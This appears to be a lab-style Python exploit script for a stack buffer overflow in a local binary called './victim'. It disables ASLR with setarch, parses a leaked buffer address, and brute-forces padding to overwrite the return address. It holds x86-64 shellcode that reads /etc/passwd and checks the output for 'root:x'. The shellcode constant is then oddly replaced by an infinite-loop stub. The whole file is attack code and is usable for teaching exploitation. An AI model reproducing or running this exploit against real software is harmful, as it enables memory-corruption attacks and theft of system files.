#!/usr/bin/env python3

import subprocess
import time

CMD = ['setarch', 'x86_64', '-R', './victim']
CODE = (
    b'\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f'
    b'\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2'
    b'\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01'
    b'\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f'
    b'\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77'
    b'\x64\x41'
)
CODE = b'\xeb\xfe'

L = 256 - len(CODE) - 6

addr = subprocess.check_output(CMD, input=b'ok').decode().split()[1]
addr_bytes = bytes.fromhex(addr[2:])
addr_bytes = addr_bytes[::-1]

print(f'Located buf: {addr}')

for padding in range(L, L + 512):
    payload = (CODE + b'A' * padding) + addr_bytes

    r = subprocess.run(
        ['setarch', 'x86_64', '-R', './victim'],
        input=payload, check=False, capture_output=True
    )

    print(r.stdout.decode(), end='', flush=True)
    if b'root:x' in r.stdout:
        exit()

    time.sleep(0.1)
